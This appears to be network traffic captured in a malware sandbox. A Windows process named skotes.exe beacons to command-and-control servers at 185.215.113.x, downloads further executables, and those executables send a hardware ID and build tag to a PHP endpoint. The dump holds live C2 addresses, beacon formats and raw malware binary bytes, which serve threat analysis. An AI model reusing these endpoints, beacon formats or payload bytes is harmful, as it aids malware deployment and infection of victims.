Oct 30, 2024 04:35:31.434473991 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 04:35:31.434490919 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: C^dURibVMR^^'~N?CB}Vfm6NNA^.QxUR\|yS" AOdb#QhHYWonWP
Oct 30, 2024 04:35:31.434508085 CET	1236	IN	Data Raw: a3 43 0d 6e e5 c5 f4 d4 71 dc 8c 2b 79 27 39 bf 91 f4 d6 c7 eb 66 fd 06 28 86 fd 93 5e 23 72 ac 1b 34 43 61 c9 38 a9 59 dd b8 86 86 49 c4 a4 a1 aa 98 81 ce 29 ca 94 eb 68 5f fb 5b a5 ed 74 e4 9d 44 87 91 57 24 aa b6 69 ac 75 12 78 f2 d0 22 a6 af Data Ascii: Cnq+y'9f(^#r4Ca8YI)h_[tDW$iux" \|fyphEk-noiNG&C2:I8w%"rw&l32saD8}suwyi3iiHW.v}J0TJ-Hs=[ToRc
Oct 30, 2024 04:35:31.434568882 CET	1236	IN	Data Raw: a6 8c 5e 66 86 5d 5f 0b 78 c8 21 92 fa 82 31 04 a3 51 1d 43 65 d7 c0 2d b6 f5 f0 09 64 d3 22 ef 71 86 51 53 b3 a7 08 3e b2 dd d9 c0 c9 ce 3d 29 f6 cf 44 ae 85 26 71 c7 7c 98 33 e0 cf e9 01 00 22 c8 a3 53 c9 c4 0a 62 60 e5 be 66 46 64 f2 93 93 d5 Data Ascii: ^f]_x!1QCe-d"qQS>=)D&q\|3"Sb`fFdcg'A\1T&74UUimLySFh\|\qZ%#krcQzx%\|=+E"jrq.duJoi!,L}_e',hr}lkQ
Oct 30, 2024 04:35:31.434581995 CET	136	IN	Data Raw: 82 e0 11 21 2a 7c c5 8a 83 f8 11 08 7e b4 45 b0 37 66 b7 46 7a 18 23 ef 99 84 6b eb c5 2c 09 de e5 eb 94 52 4d 0f c9 f2 a5 60 23 bd 9a f0 3c 93 2b 6c 1a 52 35 2c 63 27 ea 06 c9 22 e6 bd ec 64 aa dd e4 a8 e5 cc f8 5b 83 a8 28 89 91 c7 b8 4a 71 cc Data Ascii: !\|~E7fFz#k,RM`#<+lR5,c'"d[(Jq^&(J($@z@[(H'/prjBW9(
Oct 30, 2024 04:35:31.434596062 CET	1236	IN	Data Raw: e2 bd 9a 5f 3e 13 39 80 29 cc 48 5b 72 25 cb e2 93 e8 d8 64 49 b7 dc b4 55 70 9e 93 59 bd f9 6b 73 f3 38 46 d1 55 d0 ca 81 cd 94 7e 7a c7 36 d9 e1 06 34 9a e5 bd 70 64 7e dd 74 84 c5 bf 42 d2 65 bd a4 64 65 dd d4 4b 81 47 c1 e3 7a 74 09 2d a8 bb Data Ascii: _>9)H[r%dIUpYks8FU~z64pd~tBedeKGzt-B2v~?]OEiD<U!r+fz,~nDi{[ie?o=5,jGLrnn{<![3x,e}[4-scVXR4e.4)z-
Oct 30, 2024 04:35:31.439815044 CET	1236	IN	Data Raw: 56 6e c9 5b 71 7c 89 d3 45 cc a3 a1 89 8c 1a 84 5d c7 78 d4 09 57 5c 53 71 de 3a 62 25 03 a7 5b ba dc 84 0a 9c ec 19 53 a7 80 12 b1 89 bc e1 c3 7a 00 09 6f ef 96 6f fb f8 38 79 5b 82 34 12 56 2c 80 b2 43 09 e6 19 f6 71 9f 0d ce ab 4c 33 1e 22 28 Data Ascii: Vn[q\|E]xW\Sq:b%[Szoo8y[4V,CqL3"(92`[*A;iUmmq[B[^jVg[~{!O'(:dx[L$uPc(9^.){eb,t#u.sQqjAJ02d1yzlSn5sz\|Sh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49992	185.215.113.43	80	6916	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:35:39.272583961 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 35 32 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002528001&unit=246122658369
Oct 30, 2024 04:35:40.187036037 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 03:35:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49993	185.215.113.206	80	7580	C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:35:39.589627028 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 04:35:40.499469995 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:35:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 04:35:40.511409044 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJEHJJKJEGHJJKEBFBG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 36 46 39 31 35 41 35 38 37 43 36 32 35 30 37 32 38 36 39 35 38 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 2d 2d 0d 0a Data Ascii: ------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="hwid"56F915A587C62507286958------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="build"tale------HJJEHJJKJEGHJJKEBFBG--
Oct 30, 2024 04:35:40.797527075 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:35:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49994	185.215.113.16	80	6916	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:35:40.364620924 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 30, 2024 04:35:41.269970894 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 03:35:41 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Wed, 30 Oct 2024 03:11:49 GMT Connection: keep-alive ETag: "6721a3f5-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ed a3 21 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL!g"Xw@`@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Oct 30, 2024 04:35:41.269992113 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Oct 30, 2024 04:35:41.270015001 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Oct 30, 2024 04:35:41.270112991 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Oct 30, 2024 04:35:41.270128012 CET	448	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Oct 30, 2024 04:35:41.270143032 CET	1236	IN	Data Raw: 57 8a d3 8b 0e 8d 79 01 51 89 3e e8 9c 07 00 00 85 c0 74 1c 89 0d 28 15 4d 00 8b 40 04 8b 00 66 39 58 08 75 05 83 38 21 74 0f 8b cf 84 d2 74 d5 5f 5e 33 c0 5b 5d c2 04 00 b2 01 eb ed 55 8b ec 83 ec 1c 33 d2 42 53 56 57 8b c2 50 8d 50 01 89 55 fc Data Ascii: WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u+3+fy4AEAEARUE{lMG3+DfxGuB
Oct 30, 2024 04:35:41.270158052 CET	1236	IN	Data Raw: 00 8b 41 04 6a 7f 59 66 39 48 08 0f 85 1d 05 04 00 83 6d b4 01 0f 85 4d 05 04 00 eb 10 8b 45 b4 40 89 45 b4 83 f8 01 0f 8f 30 05 04 00 ff 75 e8 8b 5d fc ff 75 f4 8b 45 f8 ff 75 e4 ff 75 e0 53 50 ff 75 f0 57 e8 0f 04 00 00 85 c0 0f 89 08 ff ff ff Data Ascii: AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]ETpXEE;1uuuuSRu3SxMxl
Oct 30, 2024 04:35:41.270176888 CET	424	IN	Data Raw: 6a 04 5a f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 4c d4 01 00 8b 3e 33 d2 59 8b 4e 0c 89 46 08 85 c9 7e 11 8b 46 08 89 3c 90 42 8b 4e 0c 8b 7f 24 3b d1 7c ef 53 8d 41 ff 32 db 33 ff 85 c0 7e 2c 8b 46 08 8b 0c b8 8b d1 8b 44 b8 04 89 4d f4 8b c8 89 45 f8 Data Ascii: jZQL>3YNF~F<BN$;\|SA23~,FDMEuNGA;\|u[_FMFMLU,SVWL$(D$83Ph\$\$(ID$PuIM3#MG;
Oct 30, 2024 04:35:41.270191908 CET	1236	IN	Data Raw: 00 75 07 8b cb e8 93 05 00 00 8b ce e8 b5 11 00 00 8d 44 24 38 50 ff 15 f8 c3 49 00 8d 4c 24 28 e8 15 6d 00 00 5f 5e 5b 8b e5 5d c2 04 00 55 8b ec 83 ec 34 53 56 57 6a 0f ff 15 3c c7 49 00 68 00 7f 00 00 6a 00 8b d8 ff 15 38 c7 49 00 8b 35 34 c7 Data Ascii: uD$8PIL$(m_^[]U4SVWj<Ihj8I54Ijc5XMh5XMMh5XMM3MVjjjjc5XMIXMMEEPME0E#uuM}]uEIUEV1@0I5
Oct 30, 2024 04:35:41.270267963 CET	212	IN	Data Raw: 9f 00 00 85 f6 7e 35 8d 45 f0 50 8d 4d d0 e8 4c 3f 00 00 43 8d 45 d0 53 6a 01 50 57 e8 66 40 00 00 83 c4 10 8d 4d d0 e8 4b 9f 00 00 8d 45 f0 50 8d 4d 90 e8 23 00 00 00 3b de 7c cb 8d 4d f0 e8 22 68 00 00 8d 4d c0 e8 2b 9f 00 00 8d 4d 90 e8 40 00 Data Ascii: ~5EPML?CESjPWf@MKEPM#;\|M"hM+M@_^[U;Q}BAM;t4!x]MhI:2VWw7'G$4I7v-YO_^gU=
Oct 30, 2024 04:35:41.276371002 CET	1236	IN	Data Raw: 68 13 4d 00 00 74 50 33 c0 68 ac 03 00 00 50 a2 68 13 4d 00 89 81 9c 01 00 00 8d 85 54 fc ff ff 50 e8 1d f2 01 00 a1 8c 13 4d 00 83 c4 0c 89 85 4c fc ff ff 8d 85 48 fc ff ff c7 85 48 fc ff ff a8 03 00 00 c7 85 50 fc ff ff 01 00 00 00 50 6a 02 ff Data Ascii: hMtP3hPhMTPMLHHPPjIUuUuMYY]UQMSVW;u^v_--H--;=(%MXuuWVI_^[]t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49998	185.215.113.43	80	6916	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:35:44.726285934 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 35 32 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002529001&unit=246122658369
Oct 30, 2024 04:35:45.626688957 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 03:35:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49999	185.215.113.16	80	6916	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:35:45.636440992 CET	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 30, 2024 04:35:46.569822073 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 03:35:46 GMT Content-Type: application/octet-stream Content-Length: 888832 Last-Modified: Sun, 27 Oct 2024 06:45:44 GMT Connection: keep-alive ETag: "671de198-d9000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,l@.@XP.$.text .rdata@@.data+@.reloc>K.LD@B
Oct 30, 2024 04:35:46.569839001 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ba c2 41 00 b1 d1 41 00 1a d2 41 00 00 00 00 Data Ascii: AAAUQEE}tMUUEEE]UEExMUMMM]UQSjh0hAj0rmE
Oct 30, 2024 04:35:46.569849968 CET	224	IN	Data Raw: 8b 8d 10 fc ff ff 51 83 ec 0c 8b cc 8d 95 04 fc ff ff 52 e8 fb 95 01 00 81 ec 88 00 00 00 8b cc 8d 45 08 50 e8 ca 00 00 00 8d 8d a4 fb ff ff 51 e8 0e 3f 01 00 81 c4 a0 00 00 00 8d 8d a4 fb ff ff e8 2d 96 01 00 8d 8d f8 fb ff ff e8 f2 98 01 00 50 Data Ascii: QREPQ?-PqmPEjjRAM]UQMM\|MHM<M
Oct 30, 2024 04:35:46.569875002 CET	1236	IN	Data Raw: 30 e8 8d 95 01 00 8b 4d fc e8 e5 00 00 00 8b e5 5d c3 cc 55 8b ec 51 89 4d fc 8b 45 08 50 8b 4d fc e8 0d 01 00 00 8b 4d 08 83 c1 30 51 8b 4d fc 83 c1 30 e8 fb 94 01 00 8b 55 08 83 c2 3c 52 8b 4d fc 83 c1 3c e8 e9 94 01 00 8b 45 08 83 c0 48 50 8b Data Ascii: 0M]UQMEPMM0QM0U<RM<EHPMHMUBTATMUBXAXMUB\A\MUB`A`MUBdAdMUBhAhMUBlAlMUBpApMUBtAtMUBxAxM\|QM\|ME]
Oct 30, 2024 04:35:46.569921970 CET	1236	IN	Data Raw: c8 e8 69 92 01 00 8b c8 e8 d2 91 01 00 8b c8 e8 5b 92 01 00 8b c8 e8 54 92 01 00 8b c8 e8 4d 92 01 00 8b c8 e8 b6 91 01 00 50 8d 8d 94 fe ff ff e8 2a 91 01 00 8d 8d 6c fd ff ff e8 7f 90 01 00 8d 8d 78 fd ff ff e8 74 90 01 00 8d 8d 84 fd ff ff e8 Data Ascii: i[TMP*lxti^SH=R0Ph\|WB<QURHPhVBTQUR`PPi
Oct 30, 2024 04:35:46.569932938 CET	424	IN	Data Raw: 45 fc 6b c0 2c 03 85 90 00 00 00 83 ec 0c 8b cc 50 e8 75 8b 01 00 8b 4d fc 6b c9 2c 8b 95 90 00 00 00 8b 44 0a 0c 50 8b 4d fc 6b c9 2c 8b 95 90 00 00 00 8d 44 0a 10 83 ec 0c 8b cc 50 e8 49 8b 01 00 e8 a4 f7 ff ff 81 c4 b4 00 00 00 e9 58 ff ff ff Data Ascii: Ek,PuMk,DPMk,DPIXURM]UEsmsmUsmPsmAsmBsm]U}t#E8tMQ;U\|EEH
Oct 30, 2024 04:35:46.569987059 CET	1236	IN	Data Raw: 48 08 8b 55 fc 8b 45 08 8b 08 89 0a 8b 45 fc 8b e5 5d c3 55 8b ec a1 9c 73 6d 00 3b 45 0c 75 09 8b 4d 08 89 0d 9c 73 6d 00 8b 55 08 8b 42 04 8b 4d 0c 03 41 04 8b 55 08 89 42 04 8b 45 08 8b 4d 0c 8b 51 08 89 50 08 8b 45 0c 83 78 08 00 74 0c 8b 4d Data Ascii: HUEE]Usm;EuMsmUBMAUBEMQPExtMQEBE]UE]UE]U=smuh hjM2EPEMQsmR]E}uEPsmQAE}u3T
Oct 30, 2024 04:35:46.569998980 CET	1236	IN	Data Raw: 00 83 c4 0c a3 dc 6b 6d 00 6a 09 68 10 20 42 00 68 1c 20 42 00 e8 55 20 00 00 83 c4 0c a3 28 6d 6d 00 6a 0c 68 28 20 42 00 68 38 20 42 00 e8 3c 20 00 00 83 c4 0c a3 ac 6e 6d 00 6a 09 68 48 20 42 00 68 54 20 42 00 e8 23 20 00 00 83 c4 0c a3 24 6e Data Ascii: kmjh Bh BU (mmjh( Bh8 B< nmjhH BhT B# $nmjh` Bhp B kmjh Bh Bmmjh Bh B(kmjh Bh Bnmjh Bh BPkmjh Bh!B@omjh!Bh
Oct 30, 2024 04:35:46.570008993 CET	424	IN	Data Raw: 6d 00 6a 09 68 08 25 42 00 68 14 25 42 00 e8 88 1b 00 00 83 c4 0c a3 4c 6c 6d 00 6a 17 68 20 25 42 00 68 38 25 42 00 e8 6f 1b 00 00 83 c4 0c a3 1c 6f 6d 00 6a 0a 68 50 25 42 00 68 5c 25 42 00 e8 56 1b 00 00 83 c4 0c a3 8c 6b 6d 00 6a 0d 68 68 25 Data Ascii: mjh%Bh%BLlmjh %Bh8%BoomjhP%Bh\%BVkmjhh%Bhx%B=nmjh%Bh%B$(pmjh%Bh%BLnmjh%Bh%Bnmjh%Bh%BLomjh%Bh&Bhnmjh&Bh&B
Oct 30, 2024 04:35:46.570022106 CET	1236	IN	Data Raw: 6d 6d 00 6a 0b 68 30 27 42 00 68 3c 27 42 00 e8 df 19 00 00 83 c4 0c a3 d8 6d 6d 00 6a 0b 68 48 27 42 00 68 54 27 42 00 e8 c6 19 00 00 83 c4 0c a3 10 6e 6d 00 6a 10 68 60 27 42 00 68 74 27 42 00 e8 ad 19 00 00 83 c4 0c a3 e0 6a 6d 00 6a 13 68 88 Data Ascii: mmjh0'Bh<'BmmjhH'BhT'Bnmjh`'Bht'Bjmjh'Bh'Bkmjh'Bh'B{Lmmjh'Bh'Bbomjh'Bh'BIlmjh'Bh(B0lmjh(Bh(Bnmjh((Bh4(B
Oct 30, 2024 04:35:46.575452089 CET	1236	IN	Data Raw: f8 2d 42 00 e8 16 15 00 00 83 c4 0c a3 40 70 6d 00 6a 14 68 08 2e 42 00 68 20 2e 42 00 e8 fd 14 00 00 83 c4 0c a3 88 6b 6d 00 6a 12 68 38 2e 42 00 68 4c 2e 42 00 e8 e4 14 00 00 83 c4 0c a3 08 6d 6d 00 6a 10 68 60 2e 42 00 68 74 2e 42 00 e8 cb 14 Data Ascii: -B@pmjh.Bh .Bkmjh8.BhL.Bmmjh`.Bht.B\lmjh.Bh.B8mmjh.Bh.BXlmjh.Bh.BDlmjh.Bh/Bg<lmjh /Bh0/BNnmjh@/BhT/B5nmj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	50001	185.215.113.206	80	5480	C:\Users\user\AppData\Local\Temp\1002530001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:35:48.093964100 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 04:35:49.000473976 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:35:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 04:35:49.383099079 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDBAFHJJDAKEBGCFCBG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 36 46 39 31 35 41 35 38 37 43 36 32 35 30 37 32 38 36 39 35 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 2d 2d 0d 0a Data Ascii: ------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="hwid"56F915A587C62507286958------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="build"tale------EGDBAFHJJDAKEBGCFCBG--
Oct 30, 2024 04:35:49.670325994 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:35:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	50007	185.215.113.43	80	6916	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:35:50.278115988 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 35 33 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002530001&unit=246122658369
Oct 30, 2024 04:35:51.177319050 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 03:35:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	50011	185.215.113.43	80	6916	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
